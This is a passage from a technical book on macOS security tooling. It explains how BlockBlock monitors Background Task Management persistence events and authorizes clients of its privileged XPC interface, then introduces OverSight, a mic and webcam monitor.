item as well. Worse, for login items, it delivered no event at all! After I reported these 
flaws, Apple fixed both issues in macOS 14.4 When run on macOS 13 and earlier, 
BlockBlock falls back to the file monitoring–based approach.
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You can find the code that implements an Endpoint Security client 
for Background Task Management in the Daemon/Monitors/BTMMonitor.m 
folder and the plug-in to process the events in Daemon/Plugins/Btm.m. Let’s 
start by considering the Background Task Management monitor. As with 
any code that wants to leverage Endpoint Security events, we start by defin-
ing the events of interest, creating an Endpoint Security client with a han-
dler block, and subscribing to the specified events (Listing 11-5).

es_event_type_t btmESEvents[] = {ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD}; 1

es_new_client(&_endpointClient, ^(es_client_t* client, const es_message_t* message) { 2
    // Message handler code removed for brevity 3
});

es_subscribe(self.endpointClient, btmESEvents, sizeof(btmESEvents)/sizeof(btmESEvents[0])); 4

Listing 11-5: Subscribing to ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD events

The code starts by creating an array with the single event to subscribe 
to 1. Then, using the es_new_client API, it creates a new Endpoint Security 
client. Because the client is an instance variable of the BTMMonitor class, we 
prepend it with an underscore (_) to pass it to the es_new_client API 2. We 
must do this because the compiler automatically generates an instance vari-
able prefixed with an underscore whenever we declare an instance variable 
using the Objective-C @property keyword.5 We normally don’t directly refer-
ence instance variables, but rather access them through an object; however, 
in the case of Endpoint Security’s C APIs, such as es_new_client, which 
expects a pointer, we must perform a direct reference.

Recall that the es_new_client API accepts a handler block to invoke 
each time a subscribed-to event occurs 3. Shortly, you’ll see the code that 
BlockBlock’s Background Task Management monitor executes in this call-
back. Of course, before Endpoint Security can deliver events, we must tell it 
that we’re interested in subscribing, which we do via the es_subscribe API 4.

Listing 11-6 shows the code in the handler block.

es_new_client(&_endpointClient, ^(es_client_t* client, const es_message_t* message) {
    File* file = [[File alloc] init:(es_message_t*)message csOption:csNone]; 1

    if( (ES_BTM_ITEM_TYPE_AGENT == message->event.btm_launch_item_add->item->item_type) || 2
        (ES_BTM_ITEM_TYPE_DAEMON == message->event.btm_launch_item_add->item->item_type) ) {
        file.destinationPath =
        convertStringToken(&message->event.btm_launch_item_add->item->item_url);
    }
    es_message_t* messageCopy = NULL;

    if(@available(macOS 11.0, *)) { 3
        es_retain_message(message);
        messageCopy = (es_message_t*)message;
    } else {
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        messageCopy = es_copy_message(message);
    }
    [monitor processEvent:file plugin:btmPlugin message:messageCopy]; 4
});

Listing 11-6: The Background Task Management event monitoring logic

First, the code initializes a BlockBlock File object, passing in the received 
Endpoint Security message 1. Then, for launch agents and daemons, it 
directly sets the file’s destination path to the property list of the item just 
created. We find this property list in the item_url member of the item structure 
in the btm_launch_item_add structure, within the Endpoint Security message 2.

Finally, the code calls BlockBlock’s processEvent:plugin:message: method 
covered earlier in the chapter 4. Here, though, the plug-in passed to the 
method is an instance of BlockBlock’s Background Task Management plug-
in, which I’ll discuss next. Notice that we pass a retained instance or copy of 
the Endpoint Security message. This is because BlockBlock needs to retain 
the message for later use (for example, to process the user’s asynchronous 
response). Note that the code will invoke the more modern es_retain_message 
API if running on a recent version of macOS, though falls back to using the 
es_copy_message if running on older versions 3. Because it explicitly retained 
or copied the message, BlockBlock must free it when it’s no longer needed 
by invoking the appropriate es_release_message or es_free_message API.

Like all other BlockBlock plug-ins, the Background Task Management 
plug-in implements methods to retrieve the name and path of the persisted 
item, to block the item if instructed by the user, and more. Of course, the 
logic it uses to do so is specific to Background Task Management persistence 
events. Let’s take a look at the plug-in’s itemObject: method, which returns 
the path to the persisted executable. As shown in Listing 11-7, we can extract 
this information from the delivered Endpoint Security message, although it 
differs slightly depending on whether the item persisted as a launch item or 
a login item.

-(NSString*)itemObject:(Event*)event {
    NSString* itemObject = nil;

    if( (ES_BTM_ITEM_TYPE_AGENT ==
    event.esMessage->event.btm_launch_item_add->item->item_type) || 1
    (ES_BTM_ITEM_TYPE_DAEMON ==
    event.esMessage->event.btm_launch_item_add->item->item_type) ) {
        itemObject =
        convertStringToken(&event.esMessage->event.btm_launch_item_add->executable_path);
    } else {
        NSString* stringToken =
        convertStringToken(&event.esMessage->event.btm_launch_item_add->item->item_url); 2
        itemObject = [[NSURL URLWithString:stringToken] path];
    }
    return itemObject;
}

Listing 11-7: Returning the path to the persisted item
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The code first checks the type of the persisted item 1. Conveniently, 
Endpoint Security indicates this information with constants such as ES_BTM 
_ITEM_TYPE_AGENT and ES_BTM_ITEM_TYPE_DAEMON and specifies the item type in 
the item_type member of the item structure. Assuming the persisted item is  
a launch item, the code extracts its executable path from the executable 
_path member of the btm_launch_item_add structure. To convert it from 
an es_string_token_t type to an Objective-C string object, we invoke the 
BlockBlock convertStringToken helper function.

For login items, we can find the path to the persisted item in the item_url 
member of the item structure 2. Again, we invoke the convertStringToken 
helper function. However, the path to the item is really a URL object, so we 
must convert it back to a URL, then use the path property of the URL to get 
the filepath in the form of a string.

The other notable method in the Background Task Management plug-in 
is block:, which BlockBlock invokes when the user clicks Block on the alert 
shown for a persisted item. Because there is logic to remove both launch 
and login items in the older, file monitor–based plug-ins, the Background 
Task Management plug-in can call into the relevant plug-ins to block the 
item (Listing 11-8).

-(BOOL)block:(Event*)event {
    __block BOOL wasBlocked = NO;

    switch(event.esMessage->event.btm_launch_item_add->item->item_type) {
      1 case ES_BTM_ITEM_TYPE_APP:
        case ES_BTM_ITEM_TYPE_LOGIN_ITEM: {
            LoginItem* loginItem = [[LoginItem alloc] init];
            wasBlocked = [loginItem block:event];
            break;
        }
      2 case ES_BTM_ITEM_TYPE_AGENT:
        case ES_BTM_ITEM_TYPE_DAEMON: {
            Launchd* launchItem = [[Launchd alloc] init];
            wasBlocked = [launchItem block:event];
            break;
        }
        ...
     }
     return wasBlocked;
}

Listing 11-8: Blocking logic that calls into login and launch item plug-ins

To determine the type of the Background Task Management item, the 
code once again makes use of the item_type member found in the Endpoint 
Security Background Task Management message. For login items (which 
can include persisted user applications), the code instantiates an instance 
of BlockBlock’s Login Item plug-in and then invokes its block: method 1. 
For launch agents and daemons, it takes a similar approach, instantiating 
the launch item plug-in 2.
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This wraps up the discussion of BlockBlock’s Background Task Manage-
ment monitor and plug-in. Next, let’s look at XPC communications, which 
BlockBlock makes extensive use of.

XPC
XPC is the de facto interprocess communication (IPC) mechanism on 
macOS. Anytime you write tools with multiple components, such as a privi-
leged daemon or System Extension and an agent or app running in the user’s 
desktop session, the components will likely need to communicate via XPC. In 
this section, I’ll provide an overview of the topic, including the XPC APIs and 
specific examples. If you’re interested in learning more, you can dig deeper 
into BlockBlock code, which makes extensive use of bidirectional XPC.

To some extent, XPC conforms to a traditional client/server model. One 
component (in our case, the BlockBlock daemon) sets up an XPC server, or 
listener. An authorized client (for example, BlockBlock’s login item) can con-
nect to the listener, then remotely invoke privileged methods implemented 
within the listener. Say a user responds to a BlockBlock alert, instructing the 
tool to block a persistently installed item, then creates a rule to automati-
cally block related items in the future. Via XPC, BlockBlock’s login item can 
invoke the daemon’s privileged block and create rule methods. These methods 
run in the context of the privileged daemon to ensure that they have the 
appropriate permissions to remove even privileged persistent items. They 
can also create rules in a privileged context to help protect against malicious 
subversions.

Creating Listeners and Delegates
Let’s explore how the BlockBlock daemon creates the XPC listener and, 
more importantly, ensures that only authorized clients can connect to it. 
The latter point is essential for security tools, because if we leave the XPC 
interface unprotected, nothing stops malware or anything else from con-
necting to it and invoking the daemon’s privileged methods.

BlockBlock implements the XPC listener and connection logic in an 
interface named XPCListener that conforms to the NSXPCListenerDelegate pro-
tocol (Listing 11-9).

@interface XPCListener : NSObject <NSXPCListenerDelegate>
    @property(weak)NSXPCConnection* client;
    @property(nonatomic, retain)NSXPCListener* listener;
    ...
}

Listing 11-9: An XPC listener class

To create an XPC interface, you can use the NSXPCListener initWithMach 
ServiceName: initialization method, which takes the name of the XPC service 
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as an argument. Listing 11-10 is the code from BlockBlock’s XPCListener class 
that creates its XPC listener.

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE];

Listing 11-10: Initializing an XPC listener

Note that Apple built XPC atop the much older Mach message passing 
framework. This explains why you’ll run into method names such as init 
With MachServiceName:.

Once you’ve created a listener, you should specify the delegate, which 
contains pertinent XPC delegate methods. The XPC system frameworks will 
automatically invoke these delegate methods if implemented. Once invoked, 
they can perform important tasks, such as verifying any clients.

Because BlockBlock’s XPCListener class conforms to the NSXPCListener 
Delegate protocol, it simply sets the listener delegate to itself. Then it 
invokes the listener’s resume method to start processing client connections 
(Listing 11-11).

self.listener.delegate = self;
[self.listener resume];

Listing 11-11: Setting the delegate and resuming the listener

Now clients such as BlockBlock’s login item can initiate a connection 
to the listener. But before we show exactly how the client can perform this 
action, we must ensure that only authorized clients can connect.

Extracting Audit Tokens
If you allow any client to connect to your privileged XPC interface, untrusted 
code could run the listener’s privileged methods. This issue has plagued 
core macOS XPC listeners as well as many third-party tools. For a specific 
example, see my 2015 DEF CON talk, which details the exploitation of the 
unprotected and privileged macOS writeConfig XPC interface to elevate privi-
leges to root.6

N O T E  Versions of macOS beginning with 13 simplify the authorization process, and I’ll 
cover these steps in “Setting Client Requirements” on page 270. In this section, 
I’ll cover authorization methods that make your tools compatible with earlier versions 
of the operating system.

To authorize clients, we can turn to the NSXPCListenerDelegate listener: 
shouldAcceptNewConnection: method.7 If a delegate provides an implementation 
of this method, the XPC subsystem will automatically invoke it whenever a 
client attempts to connect. The method should examine the candidate client 
and then return a Boolean value indicating whether to accept the client.
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For authorized clients, this method should also configure the connec-
tion; I’ll discuss how to do this shortly. Finally, because all connections start 
in a suspended state while they’re being authorized and configured, this 
method should invoke the resume method on the passed-in NSXPCConnection 
object for authorized clients. This allows the connection to start processing 
any received messages, as well as to send its own (Listing 11-12).

-(BOOL)listener(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    BOOL shouldAccept = NO;

    // Code to authorize the client, and ignore unauthorized ones, removed for brevity

    [newConnection resume];
    shouldAccept = YES;

bail:
    return shouldAccept;
}

Listing 11-12: Resuming a connection

While we could attempt to verify the client in several ways, many 
approaches are flawed or incomplete. For example, using the candidate 
client’s process ID is dangerous, as an attacker can exploit the fact that the 
system reuses process IDs to coerce the listener into allowing an unauthor-
ized client.

A better method is to check the client’s audit token and retrieve its code 
signing information. Unfortunately, in older versions of macOS, Apple 
doesn’t readily expose the client’s audit token, which means we have to 
resort to some Objective-C trickery. The listener:shouldAcceptNewConnection: 
method’s second argument is a pointer to an NSXPCConnection object, which 
contains information about the client attempting to connect to the XPC 
service. While it does contain the audit token in its auditToken property, this 
property is private, meaning we can’t directly access it. Luckily, Objective-C 
is introspective, so we can access private properties via a class extension. In 
Listing 11-13, BlockBlock creates an extension to the NSXPCConnection class.

@interface ExtendedNSXPCConnection : NSXPCConnection {
    audit_token_t auditToken;
}
    @property audit_token_t auditToken;
@end

Listing 11-13: Extending the NSXPCConnection class to access its private audit token

Note that the extension defines a single property: the private audit 
token found within the NSXPCConnection class. Once we’ve declared this exten-
sion, we can access the private audit token of the connecting client, as shown 
in Listing 11-14.
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-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:(NSXPCConnection*)
newConnection {
    ...
    audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;
    ...
}

Listing 11-14: Accessing the connecting client’s audit token

This code typecasts the NSXPCConnection object, representing the connect-
ing client, as an ExtendedNSXPCConnection object. Then it can readily extract the 
client’s audit token member. With an audit token in hand, the code can verify 
code signing information about the client, then securely verify the identity of 
the client and approve the connection if the client is authorized.

Extracting Code Signing Details
To verify the client’s code signing information, BlockBlock’s implementa-
tion of the listener:shouldAcceptNewConnection: delegate method takes the 
following steps. First, it uses the extracted audit token to obtain a dynamic 
code signing reference for the client process. It uses this reference to vali-
date that the client’s code signing information is valid, then extracts the 
information. Additionally, it extracts the client code signing flags to ensure 
that the client was compiled with the hardened runtime, guarding against 
runtime injection attacks. Finally, it checks that the validated code signing 
information contains the bundle ID of the BlockBlock helper application, 
the Objective-See developer code signing certificate, and supported client 
versions. Listing 11-15 shows the implementation of this requirement.

" 1 anchor apple generic and 2 identifier \"com.objective-see.blockblock
.helper\" and 3 certificate leaf [subject.CN] = \"Developer ID Application:
Objective-See, LLC (VBG97UB4TA)\" and 4 info [CFBundleShortVersionString]
>= \"2.0.0\"";

Listing 11-15: A code signing requirement to validate connecting XPC clients

Chapter 3 covered code signing requirements, but let’s break this one 
down. First, we require that the client be signed using a certificate issued by 
Apple to developers 1. Next, we require the client identifier to match that 
of Objective-See’s BlockBlock helper 2. We also require that the client be 
signed with Objective-See’s code signing certificate 3. Finally, we require 
client versions of 2.0.0 or newer 4, as older versions of BlockBlock’s helper 
don’t support the more recent hardened runtime, leaving them vulnerable 
to subversion.8

If all these validation and verification steps succeed, the BlockBlock 
daemon knows that the client attempting to connect to its XPC interface is 
indeed a recent version of the BlockBlock helper component and that an 
attacker or malware hasn’t surreptitiously tampered with this component.

Listing 11-16 shows the code that implements the full client autho-
rization. Note the use of various SecTask* code signing APIs, covered in 
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Chapter 3. As it’s imperative to always check the return value of these APIs, 
this code contains basic error handling.

#define HELPER_ID @"com.objective-see.blockblock.helper"
#define SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:(NSXPCConnection*)
newConnection {
    BOOL shouldAccept = NO;
    audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;

    OSStatus status = SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)
    (@{(__bridge NSString*)kSecGuestAttributeAudit : [NSData dataWithBytes:&auditToken
    length:sizeof(audit_token_t)]}), kSecCSDefaultFlags, &codeRef);
    if(errSecSuccess != status) {
        goto bail;
    }

    status = SecCodeCheckValidity(codeRef, kSecCSDefaultFlags, NULL);
    if(errSecSuccess != status)  {
        goto bail;
    }

    status = SecCodeCopySigningInformation(codeRef, kSecCSDynamicInformation, &csInfo);
    if(errSecSuccess != status)  {
        goto bail;
    }

    uint32_t csFlags = [((__bridge NSDictionary*)csInfo)[(__bridge NSString*)
    kSecCodeInfoStatus] unsignedIntValue];
    if( !(CS_VALID & csFlags) && !(CS_RUNTIME & csFlags) ) {
        goto bail;
    }

    NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and
    identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info
    [CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH];

    SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)
    newConnection).auditToken);

    status = SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirement));
    if(errSecSuccess != status) {
        goto bail;
    }

    shouldAccept = YES;

    // Add code here to configure and finalize the NSXPCConnection.

bail:
    return shouldAccept;
}

Listing 11-16: Authorizing XPC clients
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You may be surprised by how hard it is to protect privileged XPC 
interfaces. Apple eventually realized this too, and luckily, in macOS 13, 
it provided two new APIs specifically designed to simplify the process of 
ensuring that only authorized clients could connect. If your tools will run 
only on versions of macOS 13 or newer, you should make use of these APIs 
so you don’t have to worry about accessing private audit tokens or manually 
extracting and verifying code signing information. The next section will 
detail these APIs.

Setting Client Requirements
On macOS 13 and newer, the NSXPCListener class’s setConnectionCodeSigning 
Requirement: method9 and the NSXPCConnection class’s setCodeSigningRequirement: 
method10 allow you to set code signing requirements on either the listener 
or the connection object. The first option applies to all connections, while 
the second applies to only specific ones, but you can use either to keep 
unauthorized clients from connecting to an XPC interface.

BlockBlock uses the listener method, which requires less granularity; it 
denies any and all connections that don’t belong to the BlockBlock helper 
client. Recall that Listing 11-10 showed the code for initializing an XPC 
listener. Listing 11-17 builds on this foundation by adding code to run on 
macOS versions 13 and newer.

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"
#define HELPER_ID @"com.objective-see.blockblock.helper"
#define SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"

self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE];

if(@available(macOS 13.0, *)) {
    NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and
    identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info
    [CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH]; 1

    [self.listener setConnectionCodeSigningRequirement:requirement]; 2
}

self.listener.delegate = self;
[self.listener resume];

Listing 11-17: Authorizing clients on macOS versions 13 and newer

After allocating and initializing an NSXPCListener object, we use the 
Objective-C @available attribute with a value of macOS 13.0, * to instruct the 
compiler to execute the following lines on macOS 13 or newer only 1, as 
the setConnectionCodeSigningRequirement: method isn’t available on earlier 
versions of macOS.

We then dynamically initialize a code signing requirement string 2 
with which to validate any clients attempting to connect to the listener. The 
requirement is identical to the one shown previously. Finally, BlockBlock 
invokes the setConnectionCodeSigningRequirement: method to instruct the XPC 
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runtime to only accept connections from clients that conform to the speci-
fied code signing requirement string. Now we no longer have to manually 
verify clients; macOS will take care of it for us!

To confirm that the authorization works, compile and execute BlockBlock 
on macOS version 13 or newer, then attempt to connect to its XPC interface 
with an illegitimate client. The connection should fail, and the system’s XPC 
library should print the following message to the unified log:

Default     0x0     56198  0    BlockBlock: (libxpc.dylib) Bogus check-in attempt. Ignoring.

Now that BlockBlock can authorize XPC clients, it can configure and 
then activate the connection.

Enabling Remote Connections
XPC communications usually occur in only one direction; a client connects 
to a listener and invokes its methods. BlockBlock, however, implements 
bidirectional communications. The daemon implements most of the XPC 
methods for tasks like blocking or removing persistent items and creating 
rules, and the client invokes these. However, the daemon also calls methods 
implemented in the client to, for example, display alerts to the user.

To facilitate this bidirectional IPC, we must configure the NSXPCConnection 
object. First, let’s configure the listener object on the server side. This involves 
defining the remote methods that the client can invoke and specifying 
an object on the server side of the XPC interface that implements these 
methods. Both the server and the client must agree on what methods the 
client can remotely call. We can achieve this by setting the listener’s exported 
Interface property to an NSXPCInterface object that describes the protocol for 
the exported object.11

In this context, a protocol is simply a list of methods that conformant 
objects will implement.12 We normally declare these protocols in header (.h) 
files, making them easy to include in both server and client code. Listing 11-18  
is the BlockBlock daemon’s XPC protocol.

@protocol XPCDaemonProtocol
    -(void)getPreferences:(void (^)(NSDictionary*))reply;
    -(void)updatePreferences:(NSDictionary*)preferences;
    -(void)getRules:(void (^)(NSData*))reply;
    -(void)deleteRule:(Rule*)rule reply:(void (^)(NSData*))reply;
    -(void)alertReply:(NSDictionary*)alert;
@end

Listing 11-18: The XPC daemon protocol

Once we’ve declared this protocol, the daemon can set the exported 
Interface property to an NSXPCInterface object conformant to the XPCDaemon 
Protocol protocol. You can find the code to enable client connections in the 
listener:shouldAcceptNewConnection: delegate method (Listing 11-19).
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-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity

    newConnection.exportedInterface =
    [NSXPCInterface interfaceWithProtocol:@protocol(XPCDaemonProtocol)];
    ...

Listing 11-19: Setting the exported interface for the NSXPCConnection

Of course, you must also specify the object on the server side that 
implements these methods (in this case, the BlockBlock daemon). You can 
do this by setting the exportedObject property on the listener (Listing 11-20).

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity
    ...
    newConnection.exportedObject = [[XPCDaemon alloc] init];
    ...

Listing 11-20: Setting the object that implements the exported interface

BlockBlock creates a class named XPCDaemon to implement client-callable  
methods. As expected, this class conforms to the daemon protocol, XPCDaemon 
Protocol (Listing 11-21).

@interface XPCDaemon : NSObject <XPCDaemonProtocol>
@end

Listing 11-21: An interface conformant to XPCDaemonProtocol

Next, we’ll briefly look at a few of the privileged XPC methods that the 
BlockBlock helper component running in the limited-privilege user session 
can invoke.

Exposing Methods
BlockBlock lets users define rules to automatically allow common persistence 
events. The privileged BlockBlock daemon manages these rules to keep 
unprivileged malware from tampering with them (for example, by adding 
an allow rule that permits the malware to persist). To display the rules to the 
user, the BlockBlock client will invoke the daemon’s getRules: method via 
XPC (Listing 11-22).

-(void)getRules:(void (^)(NSData*))reply {
    NSData* archivedRules = [NSKeyedArchiver archivedDataWithRootObject:
    rules.rules requiringSecureCoding:YES error:nil];

    reply(archivedRules);
}

Listing 11-22: Returning serialized rules
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Because XPC is asynchronous, methods that return data should do so 
in a block. The getRules: method declared in XPCDaemonProtocol takes such 
a block, which the caller can invoke with a data object containing the list 
of rules. Notice that the method’s implementation is rather basic; it simply 
serializes the rules and sends them back to the client.

A more involved example of an XPC method is alertReply:, which the 
client invokes via XPC once a user has interacted with a persistence alert 
(for example, by clicking Block). The method takes a dictionary that encap-
sulates the alert. The user doesn’t expect any response, so the method doesn’t 
use any callback block. Listing 11-23 shows the method’s main code imple-
mented within the daemon.

-(void)alertReply:(NSDictionary*)alert {
    Event* event = nil;
    @synchronized(events.reportedEvents) {
      1 event = events.reportedEvents[alert[ALERT_UUID]];
    }

  2 event.action = [alert[ALERT_ACTION] unsignedIntValue];
    if(BLOCK_EVENT == event.action) {
      3 [event.plugin block:event];
    }
    ...
    if(YES != [alert[ALERT_TEMPORARY] boolValue]) {
      4 [rules add:event];
    }
}

Listing 11-23: Handling the user’s response to an alert

First, we retrieve an object representing the persistent event from the 
alert dictionary using a UUID 1. We wrap the object in a @synchronized 
block to ensure thread synchronization. Next, we extract the user-specified 
action (either block or allow) from the alert 2. If the user has decided to 
block the persistent event, BlockBlock will call in the relevant plug-in’s 
block: method. This will execute the plug-in–specific code to remove the 
persistent item 3 and add a rule for the event, so long as the user didn’t 
click the “temporary” checkbox on the alert 4.

I mentioned that the BlockBlock daemon also needs to call methods 
implemented in the helper, for example, to display an alert to the user. 
It can do so over the same XPC interface once the helper has connected, 
although we need to specify a dedicated protocol. BlockBlock names this 
client protocol XPCUserProtocol (Listing 11-24). It contains methods the client 
will implement and that the daemon can remotely invoke over XPC.

@protocol XPCUserProtocol
    -(void)alertShow:(NSDictionary*)alert;
    ...
@end

Listing 11-24: The XPC user protocol
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Back in the listener:shouldAcceptNewConnection: method, we configure 
the listener to allow the daemon to invoke the client’s remote methods 
(Listing 11-25).

-(BOOL)listener:(NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
    // Code to authorize the client, and ignore unauthorized ones, removed for brevity
    ...
    newConnection.remoteObjectInterface =
    [NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)];

Listing 11-25: Setting the remote object interface

We set the remoteObjectInterface property and specify the XPCUserProtocol 
protocol.

Initiating Connections
So far, I’ve shown how the BlockBlock daemon sets up an XPC listener, 
exposes methods, and ensures that only authorized clients can connect. 
However, I haven’t yet shown how the client initiates a connection or how it 
and the daemon remotely invoke the XPC methods.

Once the BlockBlock daemon is running, its XPC interface becomes avail-
able for authorized connections. To connect to the daemon, the BlockBlock 
helper uses the NSXPCConnection object’s initWithMachServiceName:options: method, 
specifying the same name used by the daemon (Listing 11-26).

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0];

Listing 11-26: Initializing a connection to the daemon XPC service

As we did on the server side, we must set the protocol for the remote 
object interface. Because we’re now on the client side, the “remote object 
interface” in this case refers to the XPC object on the daemon that exposes 
remotely invocable methods (Listing 11-27).

#define DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0];

daemon.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol: @protocol(XPCDaemonProtocol)]; 1

daemon.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)];
daemon.exportedObject = [[XPCUser alloc] init]; 2

[daemon resume]; 3

Listing 11-27: Setting up the XPC connection object on the client side
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Recall that this object conforms to XPCDaemonProtocol, so we specify it 
here 1. Also, because the daemon needs to call methods implemented 
in the client, the client needs to set up its own exported object. It does 
this via the exportedInterface and exportedObject methods 2. The former 
specifies the protocol (XPCUserProtocol), while the latter specifies the object 
(XPCUser) in the client that implements the exported XPC methods. Finally, 
we resume the connection 3, which triggers the actual connection to the 
daemon’s XPC listener.

Invoking Remote Methods
At this point, we’ve finished implementing the XPC connection. I’ll end 
this discussion of BlockBlock’s XPC utilization by showing how it actually 
invokes remote methods, focusing on the more common case of the client 
side. To abstract its communications with the daemon, the BlockBlock 
client uses a custom class named XPCDaemonClient. The code in Listing 11-26 
that establishes an XPC connection lives in this class, as does the code that 
invokes the remote XPC methods.

To connect to the daemon and invoke one of its remote privileged XPC 
methods (for example, to get the current rules), the client can execute the 
code in Listing 11-28.

XPCDaemonClient* xpcDaemonClient = [[XPCDaemonClient alloc] init];
NSArray* rules = [[xpcDaemonClient getRules];

Listing 11-28: Invoking remote XPC methods

Let’s take a closer look at the getRules method, which invokes the dae-
mon’s remotely exposed corresponding getRules: method. This method 
provides a good example of how you can invoke XPC methods, taking into 
account their nuances. Note that though the method contains additional 
logic to deserialize the rules it receives from the daemon, here we’re only 
focusing on the XPC logic (Listing 11-29).

-(NSArray*)getRules {
    __block NSDictionary* unarchivedRules = nil;
    ...
    [[self.daemon synchronousRemoteObjectProxyWithErrorHandler:^(NSError* proxyError) { 1
        // Code to handle any errors removed for brevity 2
    }] getRules:^(NSData* archivedRules) {
        // Code to process the serialized rules from the daemon removed for brevity 3
    }];
    ...
    return rules;
}

Listing 11-29: Getting rules from the daemon

First, the code invokes the NSXPCConnection class’s synchronous connec-
tion method 1. While XPC is generally asynchronous, we’re expecting the 
daemon to return data, so using a synchronous call makes the most sense in 
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this situation. In other places, BlockBlock uses the more common asynchro-
nous remoteObjectProxyWithErrorHandler: method.

The XPCDaemonClient class’s init method previously established the con-
nection and saved it in the instance variable named daemon. The connection 
method returns the remote object, which exposes remotely invocable XPC 
methods. If any errors occur while retrieving this object, the code invokes 
an error block 2.

With a remote object in hand, we can then invoke its methods, such 
as its getRules: method. To return data, this XPC call takes a reply block; 
Listing 11-22 showed the implementation of this method, found within the 
daemon. When the call completes, the block executes, taking as a param-
eter a data object containing the serialized rules from the daemon 3.

Conclusion
BlockBlock’s approach is simple: detect persistent items, alert the user, and 
allow them to remove unwanted items. While straightforward, this design 
has proved incredibly effective against even the most sophisticated of persis-
tent Mac malware.

In this chapter, you saw how to request an Endpoint Security entitle-
ment from Apple. You also looked at BlockBlock’s design, its use of Endpoint 
Security events, and its bidirectional XPC communications. If you’re build-
ing your own security tools, I encourage you to draw from the system frame-
works, APIs, and mechanisms that BlockBlock employs.

The next chapter explores a tool designed to heuristically detect some 
of the most insidious malware specimens: those that surreptitiously spy on 
victims through their mics and webcams.
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In “Shut Up and Dance,” a poignant episode 
of the TV show Black Mirror, hackers infect a  

young teenager’s computer with malware, spy 
on him through his webcam, then blackmail him  

into performing criminal acts. Coincidentally, shortly 
before the episode aired, I found myself reverse engi-
neering an intriguing piece of Mac malware known as 
FruitFly that did something very similar.1

This persistent backdoor had many capabilities, including the ability to 
spy on its victims’ webcams by leveraging archaic QuickTime APIs. Although 
these APIs activated a camera’s LED indicator light, the malware had a rather 
insidious trick up its sleeve to attempt to remain undetected; it waited until 
the victim was inactive before triggering the spying logic. As a result, the vic-
tim likely didn’t notice that their webcam had been surreptitiously activated.

My investigation of the malware intersected with an FBI operation that 
led to the arrest of the alleged creator and revealed FruitFly’s insidious reach. 

12
M I C  A N D  W E B C A M  M O N I T O R
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According to a Justice Department press release and indictment, the creator 
had installed FruitFly on thousands of computers over the course of 13 years.2

Apple eventually took steps to mitigate this threat, such as creating 
XProtect detection signatures. Even so, FruitFly remains a stark reminder 
of the very real dangers Mac users can face, despite Apple’s best efforts. 
FruitFly isn’t even the only Mac malware that spies on its victims through 
the webcam. Others include Mokes, Eleanor, and Crisis.

To address these threats, I released OverSight, a utility that monitors a 
Mac’s built-in mic and webcam, as well as any external connected audio and 
video devices, and alerts the user about any unauthorized access. In this 
chapter, I’ll explain how OverSight monitors these devices. I’ll also demon-
strate how this tool ingests system log messages filtered via custom predi-
cates to identify the process responsible for the device access.

You can find OverSight’s full source code in the Objective-See GitHub 
repository at https://github.com/objective-see/OverSight. 

Tool Design
In a nutshell, OverSight alerts the user whenever their Mac’s mic or webcam 
activates and, most importantly, identifies the responsible process. Thus, 
whenever malware such as FruitFly attempts to access the camera or mic, 
this action will trigger an OverSight alert. While OverSight doesn’t attempt 
to classify the process as benign or malicious by design, it provides options 
for users to either allow or block the process or to exempt trusted processes 
(Figure 12-1).

Figure 12-1: OverSight provides the option to always allow  
a certain tool to access the mic and webcam.

The Allow (Once) option essentially takes no action, as OverSight 
receives notifications once the device activation has already occurred. 
However, the Allow (Always) option provides a simple way for users to create 
rules that keep trusted processes, such as FaceTime or Zoom, from gener-
ating alerts in the future. Finally, the Block option will terminate the process 
by sending it a kill signal (SIGKILL).

Compared to tools such as BlockBlock, which contains various com-
ponents and XPC communications, OverSight is relatively simple. It’s a 

https://github.com/objective-see/OverSight
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self-contained, stand-alone app able to perform its mic and webcam 
monitoring duties with standard user privileges. Let’s explore exactly how 
OverSight achieves this monitoring and, more importantly, identifies the 
responsible process. We’ll see that the former is easy thanks to various 
CoreAudio and CoreMediaIO APIs, while the latter is a more challenging task.

Mic and Camera Enumeration
To receive a notification that a process has activated or deactivated each 
connected mic or webcam, OverSight adds to each device what is known as 
a property listener for the “is running somewhere” property, kAudioDevice 
PropertyDeviceIsRunningSomewhere. Because the APIs to add such a listener 
